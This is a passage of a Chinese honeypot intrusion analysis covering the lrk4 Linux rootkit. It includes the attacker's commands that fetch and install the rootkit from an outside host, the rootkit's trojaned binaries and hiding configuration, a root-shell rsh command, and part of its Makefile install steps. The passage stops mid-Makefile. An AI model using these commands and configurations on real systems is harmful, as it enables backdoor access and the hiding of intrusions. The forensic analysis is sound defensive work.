网络安全 频道

蜜罐进阶之Hit@me入侵分析

 #cd ..


  #rm –rf lrk*


#lynx
www.asiic.com/asiic/code/trojans/lrk4.src.tar.gz >lrk4.src.tar.gz


  #tar zxvf lrk4.src.tar.gz


  #make all install


  #vi rootkit.h


  ~include<net/if.h>


  #cd ..


  #rm –rf lrk


  /*  这一部分的操作看起来有点奇特,后来才知道由于lrk5编译失败后



*  攻击者下载了lrk4的rootkit,修改rootkit.h文件,并成功安装lrk



*/  后门程序

#4  

为了检查入侵者安装的lrk4,我在实验环境中下载并编译lrk4包。对比原系统文件,其系统命令大部分被替换,这种极度渗透对于经验丰富的网络管理员将是一场噩梦!分析结构图如下(部分分析从源码文档翻译获得):

包目录结构:


bindshell   端口/SHELL的守护进程


chfn        木马程序,当用户输入密码时,可获得root权限


chsh        木马程序,在获得Shell使用的时候运行,可获得root权限


crontab     木马程序,隐藏时间记录


(注:比如,定期运行隐藏目录…中的backdoor程序,可以使用


blackhat 20,*,*,*,*  /var/tmp/…/backdoor >/dev/null 2>&1


)


du          木马程序,隐藏文件。


find        木马程序,隐藏文件。


fix         替代和修改文件的时期戳和校验和


ifconfig    在sniff进行窃听的时候,使其promise状态不可见


inetd       提供无须验证的远程访问服务。


killall     不杀隐含的进程中含有linsniff和hack字端的进程


linsniffer  包嗅探器


login       可以使用rootkit提供的密码登录任意帐号。假如使用root登录被拒绝,可以使用”rewt”登录。当登录成功后,关闭历史日志记录。


ls          隐藏文件和目录。假如定义rootkit.h的SHOWFLAG,可以使用ls -/查看所有文件。只要文件名或者目录名为”ptyr”、”hack.dir”、”w4r3z”就被自动隐藏。我们也可通过/dev/ptyr增加隐藏文件名的定义。


netstat     修改或者隐藏TCP/UDP连接的端口、套接字、IP地址或uid等连接参数。


            /dev/ptyq中定义了隐藏类型:


            type 0: 隐藏uid号


            type 1: 隐藏本地地址


            type 2: 隐藏远程地址


            type 3: 隐藏本地端口


            type 4: 隐藏远程端口


            type 5: 隐藏UNIX套接字路径


            #######实 例########


            0 500       <- 隐藏UID号为500的连接


            1 128.31    <- 隐藏128.31网段对本地的连接


            2 128.31.39.20  <- 隐藏到128.31.39.20的远程连接


            3 8000          <- 隐藏所有本地端口为8000的连接


            4 6667          <- 隐藏所有远程端口为6667的连接


            5 .term/socket  <-隐藏包括于.term/socket的套接字连接


passwd      输入rootkit的密码取代系统原有密码


pidof       类似于ps和killall。它通常返回命令的pid号。任何类似于ps木马程序所定义的进程类型2或进程类型3,具体含义可参阅ps说明。


ps          隐藏指定的进程。其数据定义文件存放于/dev/ptyp中:


            0 0             隐藏所有root权限运行的进程


            1 p0            隐藏终端的进程


            2 sniffer       隐藏所有以sniffer命名的进程


            3 hack          隐藏所有带有hack字段的进程


           象proghack1, hack.scan, snhack等一类的进程会自动隐藏。假如定义文件不起作用,确信在命名的类型定义字段后面没有多余的空格符


rshd        以root权限执行远程命令。


            用法:rsh -l rootkitpassword host_addr command


            例如:rsh -l rootpass test.org /bin/sh -i


            将会启动一个root的shell进程(rootkit的密码可以在rootkit.h修改)


sniffchk    一个简单测试linsniff是否运行的BSH脚本, 如果不是长期窃听一台服务起的话,它的作用并不大。


syslogd     从日志文件中删除指定的字串记录。定义文件为/dev/ptys:


            evil.com


            123.100.101.202


            rshd


日志中包含了“evil.com”、“123.100.101.202”和“rshd”的字串记录将完全从日志中清除干净。


tcpd        允许没有任何日志记录的访问主机系统。Tcpd使用类型1来实现文件定义。


例如:


            1 123.4.5.6


            将会建立tcp帮定连接,允许123.4.5.6的隐藏登录连接。


top         其作用以及定义文件和ps类似。


wted        这个程序可以做很多事情。你可以观看wtmp或者utmp文件中的所有记录,按照用户名或主机名删除记录,查看zappped用户 (管理员用此类似的工具来查找删除的记录),删除zapped用户等。


z2          Zapper2的缩写,运行它可以擦除一个用户在utmp/wtmp/lastlog文件的所有记录。
#5  

汗流浃背的观察lkr4所安装的木马后,现在让我感兴趣的是它们的安装过程,对比安装的二进制木马程序和系统原程序,我发现它们除了大小有所偏异,其文件属性、文件校验和和时间戳完全一样。于是我继续追踪其安装和编译路径:



#这是从源代码中截取的安装源文件代码


# Just to have a short-cut in the subdirectory Makefiles.


IBSD=-I/usr/include/bsd -include /usr/include/bsd/bsd.h




# These are just a common cases. Then we don''t have do write anything in the


# sublevel makefiles.


CFLAGS = ${O} ${IBSD}


LDLIBS = -lbsd




SUB =   chfn chsh inetd login net-tools-1.32-alpha passwd \


procps-1.01 rshd sysklogd-1.3 tcpd_7.4 fileutils-3.13 cron3.0pl1 psmisc findutils/lib findutils/find


SHADOWSUB = inetd net-tools-1.32-alpha procps-1.01 rshd sysklogd-1.3 \


shadow-961025 tcpd_7.4 fileutils-3.13 cron3.0pl1 psmisc  findutils/lib findutils/find




CC=gcc




all:


    ${CC} -o fix fix.c


    ${CC} -o z2 z2.c


    ${CC} -o wted wted.c


    ${CC} -O2 -o linsniffer linsniffer.c


    ${CC} -o bindshell bindshell.c


    for i in $(SUB); do make -C  $$i; done


    mv chfn/chfn bin


    mv chsh/chsh bin


    mv login/login bin


    mv passwd/passwd bin




shadow:


    ${CC} -o fix fix.c


    ${CC} -o z2 z2.c


    ${CC} -o wted wted.c


    ${CC} -O2 -o linsniffer linsniffer.c


    ${CC} -o bindshell bindshell.c


    for i in $(SHADOWSUB); do make -C  $$i; done


    mv shadow-961025/src/chfn bin


    mv shadow-961025/src/chsh bin


    mv shadow-961025/src/login bin


    mv shadow-961025/src/passwd bin




install:


    if [ -x /usr/bin/chfn ] && [ -x bin/chfn ]; then ./fix /usr/bin/chfn bin/chfn; fi


    if [ -x /usr/bin/chsh ] && [ -x bin/chsh ]; then ./fix /usr/bin/chsh bin/chsh; fi


    if [ -x /bin/login ] && [ -x bin/login ]; then ./fix /bin/login bin/login; fi


    if [ -x /bin/ls ] && [ -x fileutils-3.13/src/ls ]; then ./fix /bin/ls fileutils-3.13/src/ls; fi


    if [ -x /bin/du ] && [ -x fileutils-3.13/src/du ]; then ./fix /bin/du fileutils-3.13/src/du; fi


0
相关文章